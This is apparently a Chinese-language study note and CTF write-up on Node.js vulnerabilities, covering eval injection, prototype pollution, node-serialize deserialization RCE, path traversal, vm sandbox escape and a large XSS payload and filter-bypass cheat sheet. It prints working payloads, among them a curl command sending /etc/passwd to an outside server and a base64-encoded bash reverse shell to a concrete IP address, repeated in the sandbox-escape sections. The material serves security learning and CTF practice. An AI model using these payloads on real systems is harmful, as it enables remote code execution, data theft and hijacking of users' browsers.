Node.js常见漏洞学习与总结

前言

Nodejs常见漏洞学习和总结,并且方便以后扩展。

0x01 危险的函数所导致的命令执行

eval()
eval()函数可计算某个字符串,并执行其中的javascript代码。和PHP中的eval函数一样,如果传入到函数中的参数可控并且没有经过严格的过滤时,就会导致漏洞的出现。
简单的例子:
main.js
1
2
3
4
5
6
7
8
9
10
11
const express=require("express");
const app=express();

app.get('/eval',function (req,res) {
res.send(eval(req.query.q));
console.log(req.query.q);
});

const server=app.listen(8888,function () {
console.log(`Server listening on port 8888!`);
});
漏洞利用:
Nodejs中的chile_process.exec调用的是/bash.sh,它是一个bash解释器,可以执行系统命令。在eval函数的参数中可以构造require('child_process').exec('');来进行调用。
弹计算器(windows):
1
/eval?q=require('child_process').exec('calc');
读取文件(linux):
1
/eval?q=require('child_process').exec('curl -F "x=`cat /etc/passwd`" http://vps');
反弹shell(linux):
1
2
3
4
5
/eval?q=require('child_process').exec('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjMuNTcuMjMyLjY5LzU0NzggMD4mMQog|base64 -d|bash');

YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjMuNTcuMjMyLjY5LzU0NzggMD4mMQog是bash -i >& /dev/tcp/123.57.232.69/5478 0>&1 BASE64加密后的结果,直接调用会报错。

注意:BASE64加密后的字符中有一个+号需要url编码为%2B(一定情况下)
如果上下文中没有require(类似于Code-Breaking 2018 Thejs),则可以使用global.process.mainModule.constructor._load('child_process').exec('calc')来执行命令。
paypal一个命令执行的例子:
[demo.paypal.com] Node.js code injection (RCE)
(使用数组绕过过滤,再调用child_process执行命令)
类似命令
间隔两秒执行函数:
  • setInteval(some_function, 2000)
    两秒后执行函数:
  • setTimeout(some_function, 2000)
some_function处就类似于eval函数的参数
还有使用函数的原生对象,例如输出Hello world
  • Function("console.log('Hello world')")();
    类似于php中的create_function
    以上都可以导致命令执行

0x02 Nodejs原型链污染漏洞

javascript原型链参考文章:继承与原型链
文章内关于原型和原型链的知识写的非常详细,就不再总结整个过程了,以下为几个比较重要的点:
  • 在javascript中,每一个实例对象都有一个prototype属性,prototype属性可以向对象添加属性和方法。
例子:
1
object.prototype.name=value
  • 在JavaScript中,每一个实例对象都有一个__proto__属性,这个实例属性指向对象的原型对象(即原型)。可以通过以下方式访问得到某一实例对象的原型对象:

    1
    2
    3
    objectname["__proto__"]
    objectname.__proto__
    objectname.constructor.prototype
  • 不同对象所生成的原型链如下(部分):

    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    const o = {a: 1};
    // o对象直接继承了Object.prototype
    // 原型链:
    // o ---> Object.prototype ---> null

    const a = ["yo", "whadup", "?"];
    // 数组都继承于 Array.prototype
    // 原型链:
    // a ---> Array.prototype ---> Object.prototype ---> null

    function f(){
    return 2;
    }
    // 函数都继承于 Function.prototype
    // 原型链:
    // f ---> Function.prototype ---> Object.prototype ---> null
原型链污染原理
对于语句:object[a][b] = value如果可以控制a、b、value的值,将a设置为proto,我们就可以给object对象的原型设置一个b属性,值为value。这样所有继承object对象原型的实例对象在本身不拥有b属性的情况下,都会拥有b属性,且值为value。
例子:
1
2
3
4
5
object1 = {"a":1, "b":2};
object1.__proto__.foo = "Hello World";
console.log(object1.foo);
object2 = {"c":1, "d":2};
console.log(object2.foo);
结果如下:
1
2
Hello World
Hello World
最终会输出两个Hello World。为什么object2在没有设置foo属性的情况下,也会输出Hello World呢?就是因为在第二条语句中,我们对object1的原型对象设置了一个foo属性,而object2和object1一样,都是继承了Object.prototype。在获取object2.foo时,由于object2本身不存在foo属性,就会往父类Object.prototype中去寻找。这就造成了一个原型链污染,所以原型链污染简单来说就是如果能够控制并修改一个对象的原型,就可以影响到所有和这个对象同一个原型的对象。
merge操作导致原型链的污染
merge操作是最常见可能控制键名的操作,也最能被原型链攻击。
  • 例子:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    function merge(target,source) {
    for (let key in source){
    if (key in source && key in target){
    merge(target[key],source[key]);
    }else {
    target[key]=source[key];
    }
    }
    }
    let object1 = {};
    let object2 = JSON.parse('{"a": 1, "__proto__": {"b": 2}}');
    merge(object1, object2);
    console.log(object1.a, object1.b);

    object3 = {};
    console.log(object3.b);
需要注意的点是:
在JSON解析的情况下,__proto__会被认为是一个真正的“键名”,而不代表“原型”,所以在遍历object2的时候会存在这个键。
结果如下:
1
2
1 2
2
可见object3的b是从原型中获取到的,说明Object已经被污染了。
Code-Breaking 2018 Thejs
这个题目已经有很多的分析文章了,但因为它是一个比较好的学习原型链污染的题目,还是值得自己再过一遍。
题目源码下载:http://code-breaking.com/puzzle/9/
直接npm install可以把需要的模块下下来。
server.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
const fs = require('fs')
const express = require('express')
const bodyParser = require('body-parser')
const lodash = require('lodash')
const session = require('express-session')
const randomize = require('randomatic')

const app = express()
app.use(bodyParser.urlencoded({extended: true})).use(bodyParser.json())
app.use('/static', express.static('static'))
app.use(session({
name: 'thejs.session',
secret: randomize('aA0', 16),
resave: false,
saveUninitialized: false
}))

app.engine('ejs', function (filePath, options, callback) { // define the template engine
fs.readFile(filePath, (err, content) => {
if (err) return callback(new Error(err))
let compiled = lodash.template(content)
let rendered = compiled({...options})
return callback(null, rendered)
})
})
app.set('views', './views')
app.set('view engine', 'ejs')

app.all('/', (req, res) => {
// 定义session
let data = req.session.data || {language: [], category: []}
if (req.method == 'POST') {
// 获取post数据并合并
data = lodash.merge(data, req.body)
req.session.data = data
// 再将data赋值给session
}
res.render('index', {
language: data.language,
category: data.category
})
})

app.listen(3000, () => console.log('Example app listening on port 3000!'))
问题出在了lodashs.merge函数这里,这个函数存在原型链污染漏洞。但是光存在漏洞还不行,我们得寻找到可以利用的点。因为通过漏洞可以控制某一种实例对象原型的属性,所以我们需要去寻找一个可以被利用的属性。
页面最终会通过lodash.template进行渲染,跟踪到lodash/template.js中。

如上图所示,可以看到options是一个对象,sourceURL是通过下面的语句赋值的,options默认没有sourceURL属性,所以sourceURL默认也是为空。
1
var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';
如果我们能够给options的原型对象加一个sourceURL属性,那么我们就可以控制sourceURL的值。
继续往下面看,最后sourceURL传递到了Function函数的第二个参数当中:

1
2
3
4
var result = attempt(function() {
return Function(importsKeys, sourceURL + 'return ' + source)
.apply(undefined, importsValues);
});
通过构造chile_process.exec()就可以执行任意代码了。
最终可以构造一个简单的Payload作为传递给主页面的的POST数据(windows调用计算器):
1
{"__proto__":{"sourceURL":"\nglobal.process.mainModule.constructor._load('child_process').exec('calc')//"}}
(这里直接用require会报错:ReferenceError: require is not defined)
p神给了一个更好的payload:
1
{"__proto__":{"sourceURL":"\nreturn e=> {for (var a in {}) {delete Object.prototype[a];} return global.process.mainModule.constructor._load('child_process').execSync('id')}\n//"}}
node-serialize反序列化RCE漏洞(CVE-2017-5941)
漏洞出现在node-serialize模块0.0.4版本当中,使用npm install node-serialize@0.0.4安装模块。
  • 了解什么是IIFE:

    IIFE(立即调用函数表达式)是一个在定义时就会立即执行的 JavaScript 函数。
    IIFE一般写成下面的形式:
    1
    2
    3
    (function(){ /* code */ }());
    // 或者
    (function(){ /* code */ })();
  • node-serialize@0.0.4漏洞点

    漏洞代码位于node_modules\node-serialize\lib\serialize.js中:

    其中的关键就是:obj[key] = eval('(' + obj[key].substring(FUNCFLAG.length) + ')');这一行语句,可以看到传递给eval的参数是用括号包裹的,所以如果构造一个function(){}()函数,在反序列化时就会被当中IIFE立即调用执行。来看如何构造payload:
  • 构造payload

    1
    2
    3
    4
    5
    serialize = require('node-serialize');
    var test = {
    rce : function(){require('child_process').exec('ls /',function(error, stdout, stderr){console.log(stdout)});},
    }
    console.log("序列化生成的 Payload: \n" + serialize.serialize(test));
生成的Payload为:
1
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ls /',function(error, stdout, stderr){console.log(stdout)});}"}
因为需要在反序列化时让其立即调用我们构造的函数,所以我们需要在生成的序列化语句的函数后面再添加一个(),结果如下:
1
{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('ls /',function(error, stdout, stderr){console.log(stdout)});}()"}
(这里不能直接在对象内定义IIFE表达式,不然会序列化失败)
传递给unserialize(注意转义单引号):
1
2
3
var serialize = require('node-serialize');
var payload = '{"rce":"_$$ND_FUNC$$_function(){require(\'child_process\').exec(\'ls /\',function(error, stdout, stderr){console.log(stdout)});}()"}';
serialize.unserialize(payload);
执行命令成功,结果如图:

0x03 Nodejs目录穿越漏洞复现(CVE-2017-14849)

在vulhub上面可以直接下载到环境。
漏洞影响的版本:
  • Node.js 8.5.0 + Express 3.19.0-3.21.2
  • Node.js 8.5.0 + Express 4.11.0-4.15.5
1
2
3
cd vulhub/node/CVE-2017-14849/
docker-compose build
docker-compose up -d
用Burpsuite获取地址:/static/../../../a/../../../../etc/passwd即可下载得到/etc/passwd文件
具体分析可见:Node.js CVE-2017-14849 漏洞分析

0x04 vm沙箱逃逸

vm是用来实现一个沙箱环境,可以安全的执行不受信任的代码而不会影响到主程序。但是可以通过构造语句来进行逃逸:
逃逸例子:
1
2
3
const vm = require("vm");
const env = vm.runInNewContext(`this.constructor.constructor('return this.process.env')()`);
console.log(env);
执行之后可以获取到主程序环境中的环境变量
上面例子的代码等价于如下代码:
1
2
3
4
5
6
const vm = require('vm');
const sandbox = {};
const script = new vm.Script("this.constructor.constructor('return this.process.env')()");
const context = vm.createContext(sandbox);
env = script.runInContext(context);
console.log(env);
创建vm环境时,首先要初始化一个对象 sandbox,这个对象就是vm中脚本执行时的全局环境context,vm 脚本中全局 this 指向的就是这个对象。
因为this.constructor.constructor返回的是一个Function constructor,所以可以利用Function对象构造一个函数并执行。(此时Function对象的上下文环境是处于主程序中的) 这里构造的函数内的语句是return this.process.env,结果是返回了主程序的环境变量。
配合chile_process.exec()就可以执行任意命令了:
1
2
3
4
const vm = require("vm");
const env = vm.runInNewContext(`const process = this.constructor.constructor('return this.process')();
process.mainModule.require('child_process').execSync('whoami').toString()`);
console.log(env);
vm中的脚本等同于:
1
2
3
4
5
6
7
8
9
10
11
12
13
// 获取Context
const sandbox = this;
// 获取 Object 对象构造函数
const ObjectConstructor = this.constructor;
// 获取 Function 对象构造函数
const FunctionConstructor = ObjectConstructor.constructor;
// 构造一个函数,返回process全局变量
const myfun = FunctionConstructor('return process');
const process = myfun();
process.exit();
// console.log(process.mainModule.require('child_process').execSync('dir').toString());
// console.log(process.binding('spawn_sync').spawn({file:'bash',args:['/bin/bash','-c','bash -i >& /dev/tcp/123.57.232.69/5478 0>&1'],envPairs:['y='],stdio:[{type:'pipe',readable:1}]}));
// console.log(process.binding('fs'));
从上边脚本中可以看出vm不安全的原因。vm内部脚本的Context对象是在主程序中定义的,根据JS原型链原理,可以轻松获取主程序中的 Function 对象,用主程序的 Function 对象构造一个函数,那么这个函数运行时,就是在主程序闭包环境中执行的!所以,我们轻易地获取到了主程序的全局对象 process,最终控制主程序!
为了避免上面这种情况,可以将上下文简化成只包含基本类型,如下所示:
1
2
3
4
5
const vm=require('vm');
let ctx = Object.create(null);
// ctx上不能包含引用类型的属性
ctx.a = 1;
vm.runInNewContext("this.constructor.constructor('return process')().exit()", ctx);
与此同时我们还可以使用vm2,但是也不是绝对安全的。
参考链接
最近的mongo-express RCE(CVE-2019-10758)漏洞就是配合vm沙箱逃逸来利用的。
具体分析可参考:CVE-2019-10758:mongo-expressRCE复现分析
BreizhCTF 2019 - calc-2
CTF URL: https://www.breizhctf.com/
Solves: 0 / Points: 400 / Category: Jail
挑战说明
题目源码
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
const readline = require('readline');
const vm = require('vm');

/* remove mainModule for better security */
process.mainModule = {};

function cloakObject(obj, allowed_properties=[]){
/*
* Prevent access to properties defined before the cloaking
*/
let _newProps = new Set(allowed_properties);
return new Proxy(obj, {
get: (obj, prop) => {
return _newProps.has(prop) ? obj[prop] : undefined
},

set: (obj, prop, value) => {
_newProps.add(prop);
obj[prop] = value;
return true
}
})
}

function evalInJail(env, options){
const context = vm.createContext(env);

return function (script){
/* "use strict" to prevent any callee/caller trickery */
const src = `"use strict";\n${script}`;
vm.createScript(src).runInNewContext(context, options);
}
}

function startPrompt(handler, ignoreEmptyLines=false){
const rl = readline.createInterface({
input: process.stdin,
output: process.stdout
});

rl.on('line', line => {
if (ignoreEmptyLines && !line){
return rl.prompt();
}
return handler(line) ? rl.close() : rl.prompt()
});

rl.prompt()
}

function main(){
console.log(" _________________________________ ");
console.log(" | |");
console.log(" | Welcome to our js evaluator |");
console.log(" | Enter your script, end with EOF |");
console.log(" | You can use the log() function |");
console.log(" |_________________________________|\n");


function readUntil(endline, finish){
var buffer = "";
return function(line){
if (line === endline){
finish(buffer);
return true
}
buffer += `${line}\n`;
return false
}
}

/* Give access to cloaked version of console.log */
const env = {
log: cloakObject(console.log)
};

const options = {
timeout: 3000
};
startPrompt(readUntil("EOF", evalInJail(env, options)))
}

main();
沙箱是使用Node.js vm module来实现的,我们只能使用其中的log()函数。
题目解决
我们的目标是执行系统命令来获取flag。
第一步:虚拟机逃逸
为了从虚拟机逃逸,我们将使用构造函数的构造函数来创建具有受控主体的匿名函数。
例如(使用chrome console):
1
2
3
4
5
6
7
8
9
10
> this.constructor.constructor("alert(1)");
ƒ anonymous(
) {
alert(1)
}
> this.constructor.constructor("alert(1)").toString();
"function anonymous(
) {
alert(1)
}"
使用这种技术,我们可以在vm上下文之外执行代码。实际上,this通过调用返回的对象constructor不限于log函数:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
> log(this.constructor.constructor('return this')());
> EOF
[Function: anonymous]
Object [global] {
global: [Circular],
process:
process {
title: 'nodejs',
version: 'v10.15.2',
.
.
.
setImmediate:
{ [Function: setImmediate] [Symbol(util.promisify.custom)]: [Function] },
setInterval: [Function: setInterval],
setTimeout:
{ [Function: setTimeout] [Symbol(util.promisify.custom)]: [Function] } }
与vm上下文相比:
1
2
3
> log(this);
> EOF
{ log: [Function] }
第二步:执行一个shell命令
脚本的process.mainModule模块已经被清除,因此我们无法访问require函数。
1
2
/* remove mainModule for better security */
process.mainModule = {};
但是,我们确定该binding函数在构造函数返回的对象上可用。
1
2
3
> log(this.proc = this.constructor.constructor('return this.process')());

binding: [Function: binding]
binding功能允许加载内部模块。首先,我们尝试使用fs模块从文件中读取flag。
1
> log(this.constructor.constructor('return this.process.binding')()('fs'))
Fail:(
但是我们能够列出目录并且标识flag的位置:
1
> log(this.constructor.constructor('return this.process.binding')()('fs').readdir('./', {}, "","", function (err, data) {data}));
后来题目的作者给了以下tip:
1
ou don’t have child_process and its exec function, so write it
因此,让我们来阅读nodejs source code on Github for child_process:
chile_process模块的内部通过绑定process_wrap来调用spawn函数执行命令:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
const { Process } = internalBinding('process_wrap');

child.spawn({
file: opts.file,
args: opts.args,
cwd: options.cwd,
windowsHide: !!options.windowsHide,
windowsVerbatimArguments: !!options.windowsVerbatimArguments,
detached: !!options.detached,
envPairs: opts.envPairs,
stdio: options.stdio,
uid: options.uid,
gid: options.gid
});
因此我们必须创建一个Process对象并调用其spawn函数执行系统命令:
1-检查绑定是否不会失败:
1
2
3
> log(this.constructor.constructor('return this.process.binding')()('process_wrap'));
> EOF
{ Process: [Function: Process] }
2-实例化一个Process对象:
1
2
3
> log(this.proc_wrap = this.constructor.constructor('return this.process.binding')());
> log(this.Process = this.proc_wrap('process_wrap').Process);
> log(this.process = new Process());
3-spawn使用良好的参数调用该函数:
1
2
3
4
5
6
7
8
9
> log(this.env = this.constructor.constructor('return this.process.env')());
> log(this.mproc = this.constructor.constructor('return this.process')());
> log(this.sot = this.constructor.constructor('return this.process.stdout')());
> log(this.sin = this.constructor.constructor('return this.process.stdin')());
> log(this.rc = process.spawn({file:'/home/guest/flag_reader',args:[],cwd:"/home/guest",windowsVerbatimArguments:false,detached:false,envPairs:this.env, stdio:[mproc.stdin, mproc.stdout, mproc.stderr]}));

> EOF

breizctf_flag{FORGOTTEN_FLAG}
4-payload:
1
2
3
4
5
6
7
8
log(this.proc_wrap = this.constructor.constructor('return this.process.binding')());
log(this.Process = this.proc_wrap('process_wrap').Process);
log(this.process = new Process());
log(this.env = this.constructor.constructor('return this.process.env')());
log(this.mproc = this.constructor.constructor('return this.process')());
log(this.sot = this.constructor.constructor('return this.process.stdout')());
log(this.sin = this.constructor.constructor('return this.process.stdin')());
log(this.rc = process.spawn({file:'bash',args:['/bin/bash','-c','bash -i >& /dev/tcp/123.57.232.69/5478 0>&1'],cwd:"./",windowsVerbatimArguments:false,detached:false,envPairs:this.env, stdio:[mproc.stdin, mproc.stdout, mproc.stderr]}));
参考链接:
https://tipi-hack.github.io/2019/04/14/breizh-jail-calc2.html
https://es6.ruanyifeng.com/#docs/proxy
https://segmentfault.com/a/1190000012672620

0x05 javascript大小写特性

在javascript中有几个特殊的字符需要记录一下
对于toUpperCase():
1
字符"ı"、"ſ" 经过toUpperCase处理后结果为 "I"、"S"
对于toLowerCase():
1
字符"K"经过toLowerCase处理后结果为"k"(这个K不是ascii的K)
在绕一些规则的时候就可以利用这几个特殊字符进行绕过
CTF题实例 - Hacktm中的一道Nodejs题
部分题目源码:
1
2
3
4
5
6
7
8
9
10
function isValidUser(u) {
return (
u.username.length >= 3 &&
u.username.toUpperCase() !== config.adminUsername.toUpperCase()
);
}

function isAdmin(u) {
return u.username.toLowerCase() == config.adminUsername.toLowerCase();
}
解题时需要登录管理员的用户名,但是在登录时,isValidUser函数会对用户输入的用户名进行toUpperCase处理,再与管理员用户名进行对比。如果输入的用户名与管理员用户名相同,就不允许登录。
但是我们可以看到,在之后的一个判断用户是否为管理员的函数中,对用户名进行处理的是toLowerCase。所以这两个差异,就可以使用大小写特性来进行绕过。
题目中默认的管理员用户名为:hacktm
所以,我们指定登录时的用户名为:hacKtm 即可绕过isValidUserisAdmin的验证。
题目完整Writeup:HackTM中一道Node.js题分析(Draw with us)

0x06 常见的xss payload

1.无字母的xss payload:
javascript中调用函数完全可以不需要存在任何字母,js中的匿名函数:
1
2
3
4
5
6
7
8
9
10
//我们可以使用以下方式创建一个函数:
new Function("alert(1)");
//也可以不要new
Function("alert(1)")();
//可以将Function转换下
"...".substr.constructor("alert(1)")();
//再转换下
"..."["substr"]["constructor"]("alert(1)")();
//字符串全部转义
"..."["\163\165\142\163\164\162"]["\143\157\156\163\164\162\165\143\164\157\162"]("\141\154\145\162\164\50\61\51")();
构造的脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
function stringToHex(str,mode=8){
const splitChar=["\"","\'","`","[","]",";","(",")",".","1","2","3","4","5","6","7","8","9"];
let result = "";
for(let i = 0; i < str.length; i++){
if(result === ""){
const char=str[i];
if(splitChar.includes(char)){
result=char
}else {
result=str.charCodeAt(i).toString(mode)
}
}else{
const char=str[i];
if(splitChar.includes(char)){
result+=char
}else {
const tmp=str.charCodeAt(i).toString(mode);
mode===8?
result += "\\" + tmp:
result += "\\x" + tmp;
}
}
}
return result;
}
console.log(stringToHex("[]['map']['constructor']('alert(1)')();",16));
一般可以绕过下面的验证:
1
2
3
4
function filterXss(string) {
const regExp=new RegExp("[a-zA-Z]");
return !regExp.test(string);
}
你可能会想那么我们直接这样过滤就好了:
1
2
3
4
function filterXss(string) {
const regExp=new RegExp("[\\({]");
return !regExp.test(string);
}
但是上面的过滤是错误的,因为开发人员认为[\\({]\,(,{的集合,而实际上,RegExp方式创建正则表达式时,需要写成[\\\\({],原因是:原因是:\在字符串里是转义符,在正则里也是转义符。
假如这个正则表达式[\\({],不允许({那么还可以执行javascript代码吗?答案是肯定的,如下:
1
location.href="javascript:alert%281%29";
使用location.href来执行js,并且将其中的括号与花括号进行URL编码。
最后给出我的过滤:
1
2
3
4
function filterXss(string) {
const regExp=new RegExp("[a-zA-Z\\\\({]");
return !regExp.test(string);
}
2.标签-属性分割符
有些过滤器会“天真地认为”只有某些特定字符可以分隔标签及其属性,下面给出的是在Firefox和Chrome中能够使用的有效分隔符的完整列表:
十进制值 URL编码 介绍
47 %2F 正斜杠
13 %0D 回车
12 %0C 分页符
10 %0A 换行
9 %09 水平制表符
使用方式
一般来说,你的Payload构造如下:
1
<svg onload="alert(1)">
你可以尝试使用上述字符来替换svgonload中间的空格,这样就可以保证HTML仍然有效并且Payload能够正确执行(DEMO:有效的HTML):
1
2
3
4
5
6
7
8
9
10
<svg/onload=alert(1)><svg>

<svg

onload=alert(1)><svg> # newline char

<svg onload=alert(1)><svg> # tab char

<svg
onload=alert(1)><svg> # new page char (0xc)
3.基于javascript事件的xss
详细参考资料:更多的HTML事件
标准HTML事件
0点击事件:
事件名称 标签 备注
onload body, iframe, img, frameset, input, script, style, link, svg 适用于0-click,但通常会被过滤掉
onpageshow body 适用于 0-click,但只能用在非DOM注入中
onfocus 大多数标签 适用于 0-click:配合autofocus=””使用
onmouseover 大多数标签 如果可能的话,添加参数值来让其尽可能的大。
onerror img, input, object, link, script, video, audio 确保传递参数来终止运行
onanimationstart 与任何可以设置动画的元素组合 启动,然后开始CSS动画
onanimationend 与任何可以设置动画的元素组合 启动,然后结束CSS动画
onstart marquee 在字幕动画启动时启动-仅限Firefox
onfinish marquee 在字幕动画启动时启动-仅限Firefox
ontoggle details 必须提供’opne’参数以支持0-click
使用样例:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
<body onload=alert()>

<img src=x onerror=alert()>

<svg onload=alert()>

<body onpageshow=alert(1)>

<div style="width:1000px;height:1000px" onmouseover=alert()></div>

<marquee width=10 loop=2 behavior="alternate" onbounce=alert()> (firefox only)

<marquee onstart=alert(1)> (firefox only)

<marquee loop=1 width=0 onfinish=alert(1)> (firefox only)

<input autofocus="" onfocus=alert(1)></input>

<details open ontoggle="alert()"> (chrome & opera only)
```
###### HTML5事件
###### 0点击事件:
| 事件名称 | 标签 | 备注 |
| :-------------------: | :-----------------------------------: | :-------------------------------------------------------: |
| onplay | video, audio | 适用于0-click:结合HTML的autoplay属性以及结合有效的视频/音频 |
| onplaying | video, audio | 适用于0-click: 结合HTML的autoplay属性以及结合有效的视频/音频 |
| oncanplay | video, audio | 必须链接有效的视频/音频 |
| onloadeddat | video, audio | 必须链接有效的视频/音频 |
| onloadedmetada | video, audio | 必须链接有效的视频/音频 |
| onprogress | video, audio | 必须链接有效的视频/音频 |
| onloadstar | video, audio | 潜在的0-click向量 |
| oncanplay | video, audio | 必须链接有效的视频/音频 |

###### 使用样例:
```html
<video autoplay onloadstart="alert()" src=x></video>

<video autoplay controls onplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>

<video controls onloadeddata="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>

<video controls onloadedmetadata="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>

<video controls onloadstart="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>

<video controls onloadstart="alert()"><source src=x></video>

<video controls oncanplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></video>

<audio autoplay controls onplay="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></audio>

<audio autoplay controls onplaying="alert()"><source src="http://mirrors.standaloneinstaller.com/video-sample/lion-sample.mp4"></audio>
```

##### 4.基于CSS的事件
###### 不幸的是,基于CSS来实现XSS现在已经越来越难了,我尝试过的所有向量目前都只能在非常旧的浏览器上工作。因此,下面介绍的是基于CSS来触发XSS的情况。
###### 下面的例子使用的是style标签来为动画的开始和结束设置关键帧:
```html
<style>@keyframes x {}</style>

<p style="animation: x;" onanimationstart="alert()">XSS</p>

<p style="animation: x;" onanimationend="alert()">XSS</p>
5.古怪的XSS向量
下面给出的是一些比较”奇葩”的XSS测试向量,这些测试向量很少见:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<svg><animate onbegin=alert() attributeName=x></svg>

<object data="data:text/html,<script>alert(5)</script>">

<iframe srcdoc="<svg onload=alert(4);>">

<object data=javascript:alert(3)>

<iframe src=javascript:alert(2)>

<embed src=javascript:alert(1)>

<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiWFNTIik7PC9zY3JpcHQ+" type="image/svg+xml" AllowScriptAccess="always"></embed>

<embed src="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dH A6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcv MjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczL**yZy8xOTk5L3hs aW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAw IiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlh TUyIpOzwvc2NyaXB0Pjwvc3ZnPg=="></embed>
6.XSS多覆盖样例
下面我给出了几份XSS的多段代码,因为有的时候我们只需要输入特定的字符,或者只需要一个基于DOM或基于非DOM的注入场景。
字符 使用 多段代码
141 DOM和非DOM javascript:”/*‘/*`/*--></noscript></title></textarea></style></template></noembed></script><html " onmouseover=/*<svg/*/onload=alert()//>
88 非DOM "'--></noscript></noembed></template></title></textarea></style><script>alert()</script>
95 DOM '"--></title></textarea></style></noscript></noembed></template></frameset><svg onload=alert()>
54 非DOM "'>-->*/</noscript></ti tle><script>alert()</script>
42 DOM "'--></style></script><svg onload=alert()>
7.框架
为了攻击框架,我们还需要对相关的模板语言进行研究和分析。
AngularJS
1
2
3
4
5
6
{{constructor.constructor('alert(1)')()}}
```
###### 这个Payload适用于大多数场景,但如果你还需要更多的Payload,可以点击【[这里](https://portswigger.net/research/xss-without-html-client-side-template-injection-with-angularjs)】获取。
###### 8.Mavo
```javascript
[self.alert(1)]
9.XSS过滤器绕过
圆括号过滤
利用HTML解析器和JS语句:
1
2
3
4
<svg onload=alert`1`></svg>
<svg onload=alert&lpar;1&rpar;></svg>
<svg onload=alert&#x28;1&#x29></svg>
<svg onload=alert&#40;1&#41></svg>
限制字符集
下面这三个站点可以将有效的JS代码转换为所谓的“乱码”来绕过绝大多数的过滤器:
1、JSFuck
2、JSFsck(不带圆括号的JSFuck)
3、jjencode
关键词过滤
避免使用的关键词:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
(alert)(1)
(1,2,3,4,5,6,7,8,alert)(1)
a=alert,a(1)
[1].find(alert)
top["al”+”ert"](1)
top[/al/.source+/ert/.source](1)
alu0065rt(1)
top['al145rt'](1)
top['alx65rt'](1)
top[8680439..toString(30)](1) // Generated using parseInt("alert",30). Other bases also work
```

##### 10.mXSS和DOM攻击
###### 对于XSS过滤器来说,它们基本上不可能正确地预测浏览器如何跟HTML以及交互库进行数据处理的方式。因此,有的时候我们就可以将XSS Payload作为无效的HTML插入到目标页面中,然后浏览器将有可能把它作为有效Payload执行,这样就可以绕过过滤器了。
###### 下面给出的是一个能够绕过最常见过滤器([DOMPurify <2.0.1](https://research.securitum.com/dompurify-bypass-using-mxss/))的mXSS Payload:

##### 11.双重编码
###### 有的时候,应用程序会在字符串再次解码之前,对其执行XSS过滤,这样就会给我们留下实现绕过的可乘之机。
| 字符 | 双创编码 |
| :-------------------: | :----------------:|
| < | %253C |
| \> | %253E |
| ( | %2528 |
| ) | %2529 |
| ” | %2522 |
| ’ | %2527 |

##### 参考资料
```text
1、https://www.vulnerability-lab.com/resources/documents/531.txt

2、https://portswigger.net/web-security/cross-site-scripting/cheat-sheet

3、https://portswigger.net/research/abusing-javascript-frameworks-to-bypass-xss-mitigations

4、https://cure53.de/fp170.pdf

5、https://www.*******.com/watch?v=5W-zGBKvLxk

6、https://xss.pwnfunction.com/
参考链接
https://wooyun.js.org/drops/%E4%B8%80%E4%B8%AA%E5%8F%AF%E5%A4%A7%E8%A7%84%E6%A8%A1%E6%82%84%E6%97%A0%E5%A3%B0%E6%81%AF%E7%AA%83%E5%8F%96%E6%B7%98%E5%AE%9D.%E6%94%AF%E4%BB%98%E5%AE%9D%E8%B4%A6%E5%8F%B7%E4%B8%8E%E5%AF%86%E7%A0%81%E7%9A%84%E6%BC%8F%E6%B4%9E%20-%EF%BC%88%E5%9F%8B%E9%9B%B7%E5%BC%8F%E6%94%BB%E5%87%BB%E9%99%84%E5%B8%A6%E8%A7%86%E9%A2%91%E6%BC%94%E7%A4%BA%EF%BC%89.html
https://www.freebuf.com/articles/web/226719.html

0x07 总结

相关javascript的知识总结。

0x08 参考链接:

https://xz.aliyun.com/t/7184
浅谈Node.js Web的安全问题
深入理解JavaScript Prototype污染攻击
利用 Node.js 反序列化漏洞远程执行代码
Sandboxing NodeJS is hard, here is why
https://segmentfault.com/a/1190000012672620
Fuzz中的javascript大小写特性